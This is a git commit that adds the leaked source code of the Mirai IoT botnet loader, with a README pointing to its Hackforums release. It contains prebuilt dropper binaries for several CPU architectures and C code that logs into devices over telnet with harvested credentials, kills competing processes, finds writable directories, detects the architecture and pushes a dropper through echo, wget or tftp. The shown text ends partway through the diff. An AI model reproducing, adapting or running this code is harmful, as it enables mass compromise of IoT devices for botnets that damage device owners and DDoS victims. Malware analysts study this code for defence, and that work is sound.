commit 6a5941be681b839eeff8ece1de8b245bcd5ffb02 Author: Jerry Gamblin Date: Sun Oct 2 18:44:20 2016 -0500 Code Upload Code Upload diff --git a/README.md b/README.md new file mode 100755 index 0000000..bd3fa44 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# Mirai Botnet Client, Echo Loader and CNC source code release + +This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). diff --git a/loader/bins/dlr.arm b/loader/bins/dlr.arm new file mode 100755 index 0000000..e5eb623 Binary files /dev/null and b/loader/bins/dlr.arm differ diff --git a/loader/bins/dlr.arm7 b/loader/bins/dlr.arm7 new file mode 100755 index 0000000..8288c00 Binary files /dev/null and b/loader/bins/dlr.arm7 differ diff --git a/loader/bins/dlr.m68k b/loader/bins/dlr.m68k new file mode 100755 index 0000000..9256e90 Binary files /dev/null and b/loader/bins/dlr.m68k differ diff --git a/loader/bins/dlr.mips b/loader/bins/dlr.mips new file mode 100755 index 0000000..d66a330 Binary files /dev/null and b/loader/bins/dlr.mips differ diff --git a/loader/bins/dlr.mpsl b/loader/bins/dlr.mpsl new file mode 100755 index 0000000..9b11405 Binary files /dev/null and b/loader/bins/dlr.mpsl differ diff --git a/loader/bins/dlr.ppc b/loader/bins/dlr.ppc new file mode 100755 index 0000000..3958366 Binary files /dev/null and b/loader/bins/dlr.ppc differ diff --git a/loader/bins/dlr.sh4 b/loader/bins/dlr.sh4 new file mode 100755 index 0000000..2d928e0 Binary files /dev/null and b/loader/bins/dlr.sh4 differ diff --git a/loader/bins/dlr.spc b/loader/bins/dlr.spc new file mode 100755 index 0000000..eeb0fd3 Binary files /dev/null and b/loader/bins/dlr.spc differ diff --git a/loader/bins/dlr.x86 b/loader/bins/dlr.x86 new file mode 100755 index 0000000..878700b Binary files /dev/null and b/loader/bins/dlr.x86 differ diff --git a/loader/build.debug.sh b/loader/build.debug.sh new file mode 100755 index 0000000..a7a2f67 --- /dev/null +++ b/loader/build.debug.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg diff --git a/loader/build.sh b/loader/build.sh new file mode 100755 index 0000000..07d72f0 --- /dev/null +++ b/loader/build.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -static -O3 -lpthread -pthread src/*.c -o loader diff --git a/loader/src/binary.c b/loader/src/binary.c new file mode 100755 index 0000000..2dc76f5 --- /dev/null +++ b/loader/src/binary.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include +#include "headers/includes.h" +#include "headers/binary.h" + +static int bin_list_len = 0; +static struct binary **bin_list = NULL; + +BOOL binary_init(void) +{ + glob_t pglob; + int i; + + if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) + { + printf("Failed to load from bins folder!\n"); + return; + } + + for (i = 0; i < pglob.gl_pathc; i++) + { + char file_name[256]; + struct binary *bin; + + bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *)); + bin_list[bin_list_len] = calloc(1, sizeof (struct binary)); + bin = bin_list[bin_list_len++]; + +#ifdef DEBUG + printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]); +#endif + strcpy(file_name, pglob.gl_pathv[i]); + strtok(file_name, "."); + strcpy(bin->arch, strtok(NULL, ".")); + load(bin, pglob.gl_pathv[i]); + } + + globfree(&pglob); + return TRUE; +} + +struct binary *binary_get_by_arch(char *arch) +{ + int i; + + for (i = 0; i < bin_list_len; i++) + { + if (strcmp(arch, bin_list[i]->arch) == 0) + return bin_list[i]; + } + + return NULL; +} + +static BOOL load(struct binary *bin, char *fname) +{ + FILE *file; + char rdbuf[BINARY_BYTES_PER_ECHOLINE]; + int n; + + if ((file = fopen(fname, "r")) == NULL) + { + printf("Failed to open %s for parsing\n", fname); + return FALSE; + } + + while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0) + { + char *ptr; + int i; + + bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *)); + bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8); + ptr = bin->hex_payloads[bin->hex_payloads_len++]; + + for (i = 0; i < n; i++) + ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]); + } + + return FALSE; +} diff --git a/loader/src/connection.c b/loader/src/connection.c new file mode 100755 index 0000000..7df93b5 --- /dev/null +++ b/loader/src/connection.c @@ -0,0 +1,657 @@ +#include +#include +#include +#include +#include +#include +#include "headers/includes.h" +#include "headers/connection.h" +#include "headers/server.h" +#include "headers/binary.h" +#include "headers/util.h" + +void connection_open(struct connection *conn) +{ + pthread_mutex_lock(&conn->lock); + + conn->rdbuf_pos = 0; + conn->last_recv = time(NULL); + conn->timeout = 10; + conn->echo_load_pos = 0; + conn->state_telnet = TELNET_CONNECTING; + conn->success = FALSE; + conn->open = TRUE; + conn->bin = NULL; + conn->echo_load_pos = 0; +#ifdef DEBUG + printf("[FD%d] Called connection_open\n", conn->fd); +#endif + + pthread_mutex_unlock(&conn->lock); +} + +void connection_close(struct connection *conn) +{ + pthread_mutex_lock(&conn->lock); + + if (conn->open) + { +#ifdef DEBUG + printf("[FD%d] Shut down connection\n", conn->fd); +#endif + memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data)); + conn->output_buffer.deadline = 0; + conn->last_recv = 0; + conn->open = FALSE; + conn->retry_bin = FALSE; + conn->ctrlc_retry = FALSE; + memset(conn->rdbuf, 0, sizeof(conn->rdbuf)); + conn->rdbuf_pos = 0; + + if (conn->srv == NULL) + { + printf("srv == NULL\n"); + return; + } + + if (conn->success) + { + ATOMIC_INC(&conn->srv->total_successes); + fprintf(stderr, "OK|%d.%d.%d.%d:%d %s:%s %s\n", + conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff, + ntohs(conn->info.port), + conn->info.user, conn->info.pass, conn->info.arch); + } + else + { + ATOMIC_INC(&conn->srv->total_failures); + fprintf(stderr, "ERR|%d.%d.%d.%d:%d %s:%s %s|%d\n", + conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff, + ntohs(conn->info.port), + conn->info.user, conn->info.pass, conn->info.arch, + conn->state_telnet); + } + } + conn->state_telnet = TELNET_CLOSED; + + if (conn->fd != -1) + { + close(conn->fd); + conn->fd = -1; + ATOMIC_DEC(&conn->srv->curr_open); + } + + pthread_mutex_unlock(&conn->lock); +} + +int connection_consume_iacs(struct connection *conn) +{ + int consumed = 0; + uint8_t *ptr = conn->rdbuf; + + while (consumed < conn->rdbuf_pos) + { + int i; + + if (*ptr != 0xff) + break; + else if (*ptr == 0xff) + { + if (!can_consume(conn, ptr, 1)) + break; + if (ptr[1] == 0xff) + { + ptr += 2; + consumed += 2; + continue; + } + else if (ptr[1] == 0xfd) + { + uint8_t tmp1[3] = {255, 251, 31}; + uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240}; + + if (!can_consume(conn, ptr, 2)) + break; + if (ptr[2] != 31) + goto iac_wont; + + ptr += 3; + consumed += 3; + + send(conn->fd, tmp1, 3, MSG_NOSIGNAL); + send(conn->fd, tmp2, 9, MSG_NOSIGNAL); + } + else + { + iac_wont: + + if (!can_consume(conn, ptr, 2)) + break; + + for (i = 0; i < 3; i++) + { + if (ptr[i] == 0xfd) + ptr[i] = 0xfc; + else if (ptr[i] == 0xfb) + ptr[i] = 0xfd; + } + + send(conn->fd, ptr, 3, MSG_NOSIGNAL); + ptr += 3; + consumed += 3; + } + } + } + + return consumed; +} + +int connection_consume_login_prompt(struct connection *conn) +{ + char *pch; + int i, prompt_ending = -1; + + for (i = conn->rdbuf_pos; i >= 0; i--) + { + if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') + { +#ifdef DEBUG + printf("matched login prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf); +#endif + prompt_ending = i; + break; + } + } + + if (prompt_ending == -1) + { + int tmp; + + if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1) + prompt_ending = tmp; + else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1) + prompt_ending = tmp; + } + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +int connection_consume_password_prompt(struct connection *conn) +{ + char *pch; + int i, prompt_ending = -1; + + for (i = conn->rdbuf_pos; i >= 0; i--) + { + if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') + { +#ifdef DEBUG + printf("matched password prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf); +#endif + prompt_ending = i; + break; + } + } + + if (prompt_ending == -1) + { + int tmp; + + if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1) + prompt_ending = tmp; + } + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +int connection_consume_prompt(struct connection *conn) +{ + char *pch; + int i, prompt_ending = -1; + + for (i = conn->rdbuf_pos; i >= 0; i--) + { + if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') + { +#ifdef DEBUG + printf("matched any prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf); +#endif + prompt_ending = i; + break; + } + } + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +int connection_consume_verify_login(struct connection *conn) +{ + int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (prompt_ending == -1) + return 0; + else + return prompt_ending; +} + +int connection_consume_psoutput(struct connection *conn) +{ + int offset; + char *start = conn->rdbuf; + int i, ii; + + offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++) + { + if (conn->rdbuf[i] == '\r') + conn->rdbuf[i] = 0; + else if (conn->rdbuf[i] == '\n') + { + uint8_t option_on = 0; + BOOL last_character_was_space = FALSE; + char *pid_str = NULL, *proc_name = NULL; + + conn->rdbuf[i] = 0; + for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++) + { + if (start[ii] == ' ' || start[ii] == '\t' || start[ii] == 0) + { + if (option_on > 0 && !last_character_was_space) + option_on++; + start[ii] = 0; + last_character_was_space = TRUE; + } + else + { + if (option_on == 0) + { + pid_str = &start[ii]; + option_on++; + } + else if (option_on >= 3 && option_on <= 5 && last_character_was_space) + { + proc_name = &start[ii]; + } + last_character_was_space = FALSE; + } + } + + if (pid_str != NULL && proc_name != NULL) + { + int pid = atoi(pid_str); + int len_proc_name = strlen(proc_name); + +#ifdef DEBUG + printf("pid: %d, proc_name: %s\n", pid, proc_name); +#endif + + if (pid != 1 && (strcmp(proc_name, "init") == 0 || strcmp(proc_name, "[init]") == 0)) // Kill the second init + util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid); + else if (pid > 400) + { + int num_count = 0; + int num_alphas = 0; + + for (ii = 0; ii < len_proc_name; ii++) + { + if (proc_name[ii] >= '0' && proc_name[ii] <= '9') + num_count++; + else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z')) + { + num_alphas++; + break; + } + } + + if (num_alphas == 0 && num_count > 0) + { + //util_sockprintf(conn->fd, "/bin/busybox cat /proc/%d/environ", pid); // lol +#ifdef DEBUG + printf("Killing suspicious process (pid=%d, name=%s)\n", pid, proc_name); +#endif + util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid); + } + } + } + + start = conn->rdbuf + i + 1; + } + } + + if (offset == -1) + { + if (conn->rdbuf_pos > 7168) + { + memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144); + conn->rdbuf_pos -= 6144; + } + return 0; + } + else + { + for (i = 0; i < conn->rdbuf_pos; i++) + { + if (conn->rdbuf[i] == 0) + conn->rdbuf[i] = ' '; + } + return offset; + } +} + +int connection_consume_mounts(struct connection *conn) +{ + char linebuf[256]; + int linebuf_pos = 0, num_whitespaces = 0; + int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (prompt_ending == -1) + return 0; + + for (i = 0; i < prompt_ending; i++) + { + + if (linebuf_pos == sizeof(linebuf) - 1) + { + // why are we here + break; + } + + if (conn->rdbuf[i] == '\n') + { + char *path, *mnt_info; + + linebuf[linebuf_pos++] = 0; + + strtok(linebuf, " "); // Skip name of partition + if ((path = strtok(NULL, " ")) == NULL) + goto dirs_end_line; + if (strtok(NULL, " ") == NULL) // Skip type of partition + goto dirs_end_line; + if ((mnt_info = strtok(NULL, " ")) == NULL) + goto dirs_end_line; + + if (path[strlen(path) - 1] == '/') + path[strlen(path) - 1] = 0; + + if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1) + { + util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n", + VERIFY_STRING_HEX, path, path, path, path, path); + } + + dirs_end_line: + linebuf_pos = 0; + } + else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t') + { + if (num_whitespaces++ == 0) + linebuf[linebuf_pos++] = conn->rdbuf[i]; + } + else if (conn->rdbuf[i] != '\r') + { + num_whitespaces = 0; + linebuf[linebuf_pos++] = conn->rdbuf[i]; + } + } + + util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n", + VERIFY_STRING_HEX); + + util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); + return prompt_ending; +} + +int connection_consume_written_dirs(struct connection *conn) +{ + int end_pos, i, offset, total_offset = 0; + BOOL found_writeable = FALSE; + + if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1) + return 0; + + while (TRUE) + { + char *pch; + int pch_len; + + offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK)); + if (offset == -1) + break; + total_offset += offset; + + pch = strtok(conn->rdbuf + total_offset, "\n"); + if (pch == NULL) + continue; + pch_len = strlen(pch); + + if (pch[pch_len - 1] == '\r') + pch[pch_len - 1] = 0; + + util_sockprintf(conn->fd, "rm %s/.t; rm %s/.sh; rm %s/.human\r\n", pch, pch, pch); + if (!found_writeable) + { + if (pch_len < 31) + { + strcpy(conn->info.writedir, pch); + found_writeable = TRUE; + } + else + connection_close(conn); + } + } + + return end_pos; +} + +int connection_consume_copy_op(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + return offset; +} + +int connection_consume_arch(struct connection *conn) +{ + if (!conn->info.has_arch) + { + struct elf_hdr *ehdr; + int elf_start_pos; + + if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1) + return 0; + elf_start_pos -= 4; // Go back ELF + + ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos); + conn->info.has_arch = TRUE; + + switch (ehdr->e_ident[EI_DATA]) + { + case EE_NONE: + return 0; + case EE_BIG: +#ifdef LOADER_LITTLE_ENDIAN + ehdr->e_machine = htons(ehdr->e_machine); +#endif + break; + case EE_LITTLE: +#ifdef LOADER_BIG_ENDIAN + ehdr->e_machine = htons(ehdr->e_machine); +#endif + break; + } + + /* arm mpsl spc m68k ppc x86 mips sh4 */ + if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64) + strcpy(conn->info.arch, "arm"); + else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE) + { + if (ehdr->e_ident[EI_DATA] == EE_LITTLE) + strcpy(conn->info.arch, "mpsl"); + else + strcpy(conn->info.arch, "mips"); + } + else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64) + strcpy(conn->info.arch, "x86"); + else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9) + strcpy(conn->info.arch, "spc"); + else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K) + strcpy(conn->info.arch, "m68k"); + else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64) + strcpy(conn->info.arch, "ppc"); + else if (ehdr->e_machine == EM_SH) + strcpy(conn->info.arch, "sh4"); + else + { + conn->info.arch[0] = 0; + connection_close(conn); + } + } + else + { + int offset; + + if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1) + return offset; + if (conn->rdbuf_pos > 7168) + { + // Hack drain buffer + memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144); + conn->rdbuf_pos -= 6144; + } + } + + return 0; +} + +int connection_consume_arm_subtype(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + + if (util_memsearch(conn->rdbuf, offset, "ARMv7", 5) != -1 || util_memsearch(conn->rdbuf, offset, "ARMv6", 5) != -1) + { +#ifdef DEBUG + printf("[FD%d] Arch has ARMv7!\n", conn->fd); +#endif + strcpy(conn->info.arch, "arm7"); + } + + return offset; +} + +int connection_consume_upload_methods(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + + if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1) + conn->info.upload_method = UPLOAD_WGET; + else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1) + conn->info.upload_method = UPLOAD_TFTP; + else + conn->info.upload_method = UPLOAD_ECHO; + + return offset; +} + +int connection_upload_echo(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + + if (conn->bin == NULL) + { + connection_close(conn); + return 0; + } + + if (conn->echo_load_pos == conn->bin->hex_payloads_len) + return offset; + + // echo -ne 'hex' [>]> path/FN_DROPPER + util_sockprintf(conn->fd, "echo -ne '%s' %s " FN_DROPPER "; " TOKEN_QUERY "\r\n", + conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? ">" : ">>"); + conn->echo_load_pos++; + + // Hack drain + memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset); + conn->rdbuf_pos -= offset; + + return 0; +} + +int connection_upload_wget(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + + return offset; +} + +int connection_upload_tftp(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + + if (util_memsearch(conn->rdbuf, offset, "Permission denied", 17) != -1) + return offset * -1; + + if (util_memsearch(conn->rdbuf, offset, "timeout", 7) != -1) + return offset * -1; + + if (util_memsearch(conn->rdbuf, offset, "illegal option", 14) != -1) + return offset * -1; + + return offset; +} + +int connection_verify_payload(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE)); + + if (offset == -1) + return 0; + + if (util_memsearch(conn->rdbuf, offset, "listening tun0", 14) == -1) + return offset; + else + return 255 + offset; +} + +int connection_consume_cleanup(struct connection *conn) +{ + int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); + + if (offset == -1) + return 0; + return offset; +} + +static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount) +{ + uint8_t *end = conn->rdbuf + conn->rdbuf_pos; + + return ptr + amount < end; +} diff --git a/loader/src/headers/binary.h b/loader/src/headers/binary.h new file mode 100755 index 0000000..7b61312 --- /dev/null +++ b/loader/src/headers/binary.h @@ -0,0 +1,16 @@ +#pragma once + +#include "includes.h" + +#define BINARY_BYTES_PER_ECHOLINE 128 + +struct binary { + char arch[6]; + int hex_payloads_len; + char **hex_payloads; +}; + +BOOL binary_init(void); +struct binary *binary_get_by_arch(char *arch); + +static BOOL load(struct binary *bin, char *fname); diff --git a/loader/src/headers/connection.h b/loader/src/headers/connection.h new file mode 100755 index 0000000..cf6fed9 --- /dev/null +++ b/loader/src/headers/connection.h @@ -0,0 +1,67 @@ +#pragma once + +#include +#include +#include "includes.h" +#include "telnet_info.h" + +struct connection { + pthread_mutex_t lock; + struct server *srv; + struct binary *bin; + struct telnet_info info; + int fd, echo_load_pos; + time_t last_recv; + enum { + TELNET_CLOSED, // 0 + TELNET_CONNECTING, // 1 + TELNET_READ_IACS, // 2 + TELNET_USER_PROMPT, // 3 + TELNET_PASS_PROMPT, // 4 + TELNET_WAITPASS_PROMPT, // 5 + TELNET_CHECK_LOGIN, // 6 + TELNET_VERIFY_LOGIN, // 7 + TELNET_PARSE_PS, // 8 + TELNET_PARSE_MOUNTS, // 9 + TELNET_READ_WRITEABLE, // 10 + TELNET_COPY_ECHO, // 11 + TELNET_DETECT_ARCH, // 12 + TELNET_ARM_SUBTYPE, // 13 + TELNET_UPLOAD_METHODS, // 14 + TELNET_UPLOAD_ECHO, // 15 + TELNET_UPLOAD_WGET, // 16 + TELNET_UPLOAD_TFTP, // 17 + TELNET_RUN_BINARY, // 18 + TELNET_CLEANUP // 19 + } state_telnet; + struct { + char data[512]; + int deadline; + } output_buffer; + uint16_t rdbuf_pos, timeout; + BOOL open, success, retry_bin, ctrlc_retry; + uint8_t rdbuf[8192]; +}; + +void connection_open(struct connection *conn); +void connection_close(struct connection *conn); + +int connection_consume_iacs(struct connection *conn); +int connection_consume_login_prompt(struct connection *conn); +int connection_consume_password_prompt(struct connection *conn); +int connection_consume_prompt(struct connection *conn); +int connection_consume_verify_login(struct connection *conn); +int connection_consume_psoutput(struct connection *conn); +int connection_consume_mounts(struct connection *conn); +int connection_consume_written_dirs(struct connection *conn); +int connection_consume_copy_op(struct connection *conn); +int connection_consume_arch(struct connection *conn); +int connection_consume_arm_subtype(struct connection *conn); +int connection_consume_upload_methods(struct connection *conn); +int connection_upload_echo(struct connection *conn); +int connection_upload_wget(struct connection *conn); +int connection_upload_tftp(struct connection *conn); +int connection_verify_payload(struct connection *conn); +int connection_consume_cleanup(struct connection *conn); + +static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount); diff --git a/loader/src/headers/includes.h b/loader/src/headers/includes.h new file mode 100755 index 0000000..da4aad5 --- /dev/null +++ b/loader/src/headers/includes.h @@ -0,0 +1,36 @@ +#pragma once + +#include + +#define STDIN 0 +#define STDOUT 1 +#define STDERR 2 + +#define FALSE 0 +#define TRUE 1 +typedef char BOOL; + +typedef uint32_t ipv4_t; +typedef uint16_t port_t; + +#define LOADER_LITTLE_ENDIAN + +#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i) +#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i) +#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1) +#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1) +#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0) + +#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69" +#define VERIFY_STRING_CHECK "kami" + +#define TOKEN_QUERY "/bin/busybox ECCHI" +#define TOKEN_RESPONSE "ECCHI: applet not found" + +#define EXEC_QUERY "/bin/busybox IHCCE" +#define EXEC_RESPONSE "IHCCE: applet not found" + +#define FN_DROPPER "upnp" +#define FN_BINARY "dvrHelper" + +extern char *id_tag; diff --git a/loader/src/headers/server.h b/loader/src/headers/server.h new file mode 100755 index 0000000..c2217d4 --- /dev/null +++ b/loader/src/headers/server.h @@ -0,0 +1,38 @@ +#pragma once + +#include +#include "includes.h" +#include "telnet_info.h" +#include "connection.h" + +struct server { + uint32_t max_open; + volatile uint32_t curr_open; + volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures; + char *wget_host_ip, *tftp_host_ip; + struct server_worker *workers; + struct connection **estab_conns; + ipv4_t *bind_addrs; + pthread_t to_thrd; + port_t wget_host_port; + uint8_t workers_len, bind_addrs_len; + int curr_worker_child; +}; + +struct server_worker { + struct server *srv; + int efd; // We create a separate epoll context per thread so thread safety isn't our problem + pthread_t thread; + uint8_t thread_id; +}; + +struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip); +void server_destroy(struct server *srv); +void server_queue_telnet(struct server *srv, struct telnet_info *info); +void server_telnet_probe(struct server *srv, struct telnet_info *info); + +static void bind_core(int core); +static void *worker(void *arg); +static void handle_output_buffers(struct server_worker *); +static void handle_event(struct server_worker *wrker, struct epoll_event *ev); +static void *timeout_thread(void *); diff --git a/loader/src/headers/telnet_info.h b/loader/src/headers/telnet_info.h new file mode 100755 index 0000000..44c23be --- /dev/null +++ b/loader/src/headers/telnet_info.h @@ -0,0 +1,18 @@ +#pragma once + +#include "includes.h" + +struct telnet_info { + char user[32], pass[32], arch[6], writedir[32]; + ipv4_t addr; + port_t port; + enum { + UPLOAD_ECHO, + UPLOAD_WGET, + UPLOAD_TFTP + } upload_method; + BOOL has_auth, has_arch; +}; + +struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info); +struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out); diff --git a/loader/src/headers/util.h b/loader/src/headers/util.h new file mode 100755 index 0000000..06d28c8 --- /dev/null +++ b/loader/src/headers/util.h @@ -0,0 +1,72 @@ +#pragma once + +#include "server.h" +#include "includes.h" + +#define BUFFER_SIZE 4096 + +#define EI_NIDENT 16 // Side of e_ident in elf header +#define EI_DATA 5 // Offset endianness in e_ident + +#define EE_NONE 0 // No endianness ???? +#define EE_LITTLE 1 // Little endian +#define EE_BIG 2 // Big endian + +#define ET_NOFILE 0 // None +#define ET_REL 1 // Relocatable file +#define ET_EXEC 2 // Executable file +#define ET_DYN 3 // Shared object file +#define ET_CORE 4 // Core file + +/* These constants define the various ELF target machines */ +#define EM_NONE 0 +#define EM_M32 1 +#define EM_SPARC 2 +#define EM_386 3 +#define EM_68K 4 // m68k +#define EM_88K 5 // m68k +#define EM_486 6 // x86 +#define EM_860 7 // Unknown +#define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */ + /* Next two are historical and binaries and + modules of these types will be rejected by + Linux. */ +#define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */ + +#define EM_PARISC 15 /* HPPA */ +#define EM_SPARC32PLUS 18 /* Sun's "v8plus" */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* PowerPC64 */ +#define EM_SPU 23 /* Cell BE SPU */ +#define EM_ARM 40 /* ARM 32 bit */ +#define EM_SH 42 /* SuperH */ +#define EM_SPARCV9 43 /* SPARC v9 64-bit */ +#define EM_H8_300 46 /* Renesas H8/300 */ +#define EM_IA_64 50 /* HP/Intel IA-64 */ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_S390 22 /* IBM S/390 */ +#define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */ +#define EM_M32R 88 /* Renesas M32R */ +#define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */ +#define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */ +#define EM_BLACKFIN 106 /* ADI Blackfin Processor */ +#define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */ +#define EM_TI_C6000 140 /* TI C6X DSPs */ +#define EM_AARCH64 183 /* ARM 64 bit */ +#define EM_TILEPRO 188 /* Tilera TILEPro */ +#define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */ +#define EM_TILEGX 191 /* Tilera TILE-Gx */ +#define EM_FRV 0x5441 /* Fujitsu FR-V */ +#define EM_AVR32 0x18ad /* Atmel AVR32 */ + +struct elf_hdr { + uint8_t e_ident[EI_NIDENT]; + uint16_t e_type, e_machine; + uint32_t e_version; +} __attribute__((packed)); + +int util_socket_and_bind(struct server *srv); +int util_memsearch(char *buf, int buf_len, char *mem, int mem_len); +BOOL util_sockprintf(int fd, const char *fmt, ...); +char *util_trim(char *str); diff --git a/loader/src/main.c b/loader/src/main.c new file mode 100755 index 0000000..d44bea3 --- /dev/null +++ b/loader/src/main.c @@ -0,0 